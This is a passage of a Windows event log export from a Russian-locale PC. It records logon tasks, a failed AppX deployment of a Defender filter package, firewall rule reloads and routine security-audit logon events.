'RefreshOneSettingsFeatureConfigurations' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.324\t62171\tLogon task 'RefreshOneSettingsFeatureConfigurations' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.337\t62171\tLogon task 'ClickToDoEligibility' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.337\t62171\tLogon task 'AppReadinessPreRoamingGroup' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.337\t62171\tLogon task 'PreRoamingTasks' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.337\t62170\tLogon task 'PreShellTasks' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62170\tLogon task 'AppRestore' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62171\tLogon task 'AppRestore' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62170\tLogon task 'StartLayoutInit' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62170\tLogon task 'DownloadEduThemes' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62170\tLogon task 'UgradeTaskFlowPolicy' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62171\tLogon task 'UgradeTaskFlowPolicy' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62170\tLogon task 'LaunchProgrammableTaskbarCloudManager' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62171\tLogon task 'LaunchProgrammableTaskbarCloudManager' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62171\tLogon task 'DownloadEduThemes' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62170\tLogon task 'ShellHandwriting' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62171\tLogon task 'ShellHandwriting' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.338\t62171\tLogon task 'AppReadinessPreShellGroup' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.339\t62171\tLogon task 'AppResolver' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.339\t62171\tLogon task 'PreShellTasks' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.339\t62170\tLogon task 'ShellInitTasks' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.339\t62170\tLogon task 'AppReadinessLogonGroup' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.339\t62170\tLogon task 'UpdatePCSettingsShellInit' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.339\t62171\tLogon task 'UpdatePCSettingsShellInit' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.339\t62170\tLogon task 'InstallPWAs' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.341\t9703\tRunOnce commands started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.342\t9705\tStarted enumeration of commands for registry key 'Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.343\t9707\tStarted execution of command 'setup.exe\" --msedgewebview --delete-old-versions --system-level --verbose-logging --on-logon'.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.350\t2413\tAn application was registered with the following parameters: windows.immersivecontrolpanel_cw5n1h2txyewy [PackageFullName] windows.immersivecontrolpanel_cw5n1h2txyewy!microsoft.windows.immersivecontrolpanel [AppUserModelId] 0x600 [Settings] 268435456 [AppType] The operation completed successfully. [ErrorCode].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:02.353\t603\tStarted deployment Stage operation on a package with main parameter MdOdrMcpFilter.msix and Options ForceUpdateFromAnyVersion,NormalPriorityRequest and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.395\t62171\tLogon task 'CacheUserEligibility' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.395\t62171\tLogon task 'AppReadinessLogonGroup' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.396\t62171\tLogon task 'InstallPWAs' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.396\t62171\tLogon task 'ShellInitTasks' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.477\t501\t\"A process has deleted a USN journal on a volume.\n\n           Process: SearchIndexer.\n           Volume Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume Name: C:\n           Journal Id: 0x1DC755BE25CD000\n           Current USN: 0x0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:29:02.482\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x217c\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.486\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x217c\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.490\t501\t\"A process has deleted a USN journal on a volume.\n\n           Process: SearchIndexer.\n           Volume Id: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume Name: D:\n           Journal Id: 0x1DCE9F9F77DCD9D\n           Current USN: 0x0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:29:02.501\t157\tThe app package signature was validated for core content of the app package published by CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US. Payload won't be validated until the files are read.\tInformation\tMicrosoft-Windows-AppxPackaging/Operational\tMicrosoft-Windows-AppxPackagingOM\n05.09.2026 08:29:02.523\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{Microsoft.XboxIdentityProvider_12.130.16001.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.XboxIdentityProvider/Resources/DisplayName}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.523\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{Microsoft.Getstarted_10.2312.1.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.Getstarted/Resources/AppStoreName}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.524\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsCamera/LensSDK/Resources/AppStoreName}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.524\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{Microsoft.WindowsCamera_2025.2510.2.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsCamera/LensSDK/Resources/AppStoreName}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.524\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{Microsoft.WindowsCalculator_11.2508.4.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.WindowsCalculator/Resources/AppStoreName}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.524\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{Microsoft.ZuneVideo_10.25121.10051.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneVideo/resources/IDS_MANIFEST_VIDEO_APP_NAME}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.524\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{Microsoft.ZuneVideo_10.25121.10051.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.ZuneVideo/resources/IDS_MANIFEST_VIDEO_APP_NAME}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.524\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{Microsoft.People_10.2202.100.0_x64__8wekyb3d8bbwe?ms-resource://Microsoft.People/Resources/AppStoreName}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.524\t2084\t\"Added a Duplicate Rule\n\nRule Name:\t@{AppUp.IntelGraphicsExperience_1.100.5688.0_x64__8j3eq9eme6ctt?ms-resource://AppUp.IntelGraphicsExperience/Resources/System_Item_Title_IntelGraphicsControlPanel}\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.535\t4004\t\"Network State Change Fired\n\tNew Internet Connection Profile: false\n\tConnection Cost Changed: true\n\tDomain Connectivity Level Changed: false\n\tNetwork Connectivity Level Changed: true\n\tHost Name Changed: true\n\tWwan Registration State Changed: false\n\tTethering Operational State Changed: false\n\tTethering Client Count Changed: false\"\tInformation\tMicrosoft-Windows-NetworkProfile/Operational\tMicrosoft-Windows-NetworkProfile\n05.09.2026 08:29:02.535\t55\tIs the Internet available: false\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:02.535\t56\tIs a free network available: false\tInformation\tMicrosoft-Windows-UniversalTelemetryClient/Operational\tMicrosoft-Windows-UniversalTelemetryClient\n05.09.2026 08:29:02.535\t1024\tInternet connection status changed to false, submitting pending workitems: count = 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:02.544\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x217c\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.556\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x217c\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.564\t2059\t\"All rules have been deleted from the Windows Defender Firewall configuration on this computer.\n\n\tStore Type:\t12\n\tModifyingUser:\tS-1-5-80-3088073201-1464728630-1879813800-1107566885-823218052\n\tModifyingApplication:\tC:\\WINDOWS\\System32\\svchost.exe\n\tError Code:\t0\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.564\t2051\t\"Tenant Restrictions Policy Update\n\nError code:\t0\nPolicy Change:\t0\n\"\tInformation\tMicrosoft-Windows-Windows Firewall With Advanced Security/Firewall\tMicrosoft-Windows-Windows Firewall With Advanced Security\n05.09.2026 08:29:02.566\t5024\tThe Windows Firewall service started successfully.\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.585\t170\tThe streaming reader was created successfully for app package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppxPackaging/Operational\tMicrosoft-Windows-AppxPackagingOM\n05.09.2026 08:29:02.587\t9648\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.593\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-18_2.rslc for Stage Operation on Package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.594\t607\tDeployment Stage operation on package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy has been de-queued and is running for user SID S-1-5-18.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.594\t854\tSuccessfully added the following uri(s) to be processed:  file:///C:/ProgramData/Microsoft/Windows%20Defender/Platform/4.18.26080.3-0/MdOdrMcpFilter.msix.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.596\t867\tWindows cannot install package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy because it is already installed with a different external location.\tError\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.622\t605\tError 0x80073D0B: Failure in the Indexed state handler.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.625\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.625\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.630\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 08:29:02.630\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x217c\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.634\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x217c\n\tProcess Name:\t\tC:\\Windows\\System32\\taskhostw.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:02.641\t401\tDeployment Stage operation with target volume C: on Package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy from:  (MdOdrMcpFilter.msix)  failed with error 0x80073D0B. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tError\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.641\t698\tDeployment Stage operation with target volume C: on Package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy from:  (MdOdrMcpFilter.msix)  failed with error 0x80073D0B. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tError\tMicrosoft-Windows-AppXDeploymentServer/Restricted\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.661\t404\tAppX Deployment operation failed for package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy with error 0x80073D0B. The specific error text for this failure is: Windows \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy \u043f\u0430\u043a\u0435\u0442\u043e\u0432, \u0442\u0430\u043a \u043a\u0430\u043a \u043e\u043d \u0443\u0436\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u0441 \u0434\u0440\u0443\u0433\u0438\u043c \u0432\u043d\u0435\u0448\u043d\u0438\u043c \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c. \tError\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.662\t613\t\"Performance summary of Deployment Stage operation on Package MdOdrMcpFilterPackage_1.0.0.0_neutral__cw5n1h2txyewy: Failed to reach state Indexed\nOverall time: 281 ms (Active time: 281 ms)\nEnqueue cost: 219 ms\nDequeue delay: 0 ms\nBundle processing cost: 0 ms\nIndexing cost: 31 ms\nResolve dependency cost: 0 ms\nCheck approval cost: 0 ms\nEvaluation cost: 0 ms\nHardlinking evaluation cost: 0 ms\nStage required cost: 0 ms\nFlushing and closing files cost: 0 ms\nMachine register cost: 0 ms\nStage user data cost: 0 ms\nRegistration cost: 0 ms\nRepository commit transaction cost: 0 ms\nData flush cost: 0 ms\nPost DeStage repository commit transaction cost: 0 ms\nRemaining cost: 31 ms\n\"\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 08:29:02.683\t8000\t\"Process Name: C:\\WINDOWS\\system32\\svchost.exe\nModule Name: C:\\WINDOWS\\SYSTEM32\\licensemanagerapi.dll\nBuild: 26100.1.amd64fre.ge_release.240331-1435\n\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:02.684\t8001\t\"canDisableApps value is 0\nFunction: InitStoreAppsAreDisabled\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (195)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:02.685\t8001\t\"Skipping license manager: PFN MicrosoftWindows.CrossDevice_1.26052.99.0_x64__cw5n1h2txyewy\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:02.702\t501\t\"A process has deleted a USN journal on a volume.\n\n           Process: SearchIndexer.\n           Volume Id: {5285d7ae-0000-0000-0000-300432000000}\n           Volume Name: F:\n           Journal Id: 0x19DB31D0AD8ABD4\n           Current USN: 0x0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 08:29:02.759\t210\tCreated Desktop AppX container {245CDB00-A8C9-11F1-B7FF-289200F24A99} for package MicrosoftWindows.CrossDevice_1.26052.99.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:02.759\t211\tAdded process 10344 to Desktop AppX container 245cdb00-a8c9-11f1-b7ff-289200f24a99 for package MicrosoftWindows.CrossDevice_1.26052.99.0_x64__cw5n1h2txyewy.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:29:02.788\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:29:02.909\t9649\t\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.909\t62170\tLogon task 'PreStartTasks' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.909\t62170\tLogon task 'LaunchExperienceHost' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.909\t28125\tStarting to refresh app resolver cache for scenario 1 with flags 2316.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.914\t62170\tLogon task 'LaunchContentDeliveryManagerStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62171\tLogon task 'LaunchContentDeliveryManagerStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62170\tLogon task 'PerformSignInSuggestionsStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62171\tLogon task 'PerformSignInSuggestionsStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62170\tLogon task 'UpdatePCSettingsPreStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62171\tLogon task 'UpdatePCSettingsPreStart' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62170\tLogon task 'EnterpriseProvisioning' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62171\tLogon task 'EnterpriseProvisioning' finished with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 08:29:02.919\t62170\tLogon task 'AssignedAccessLogonTaskAgentPreStart' started with flags 131092.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 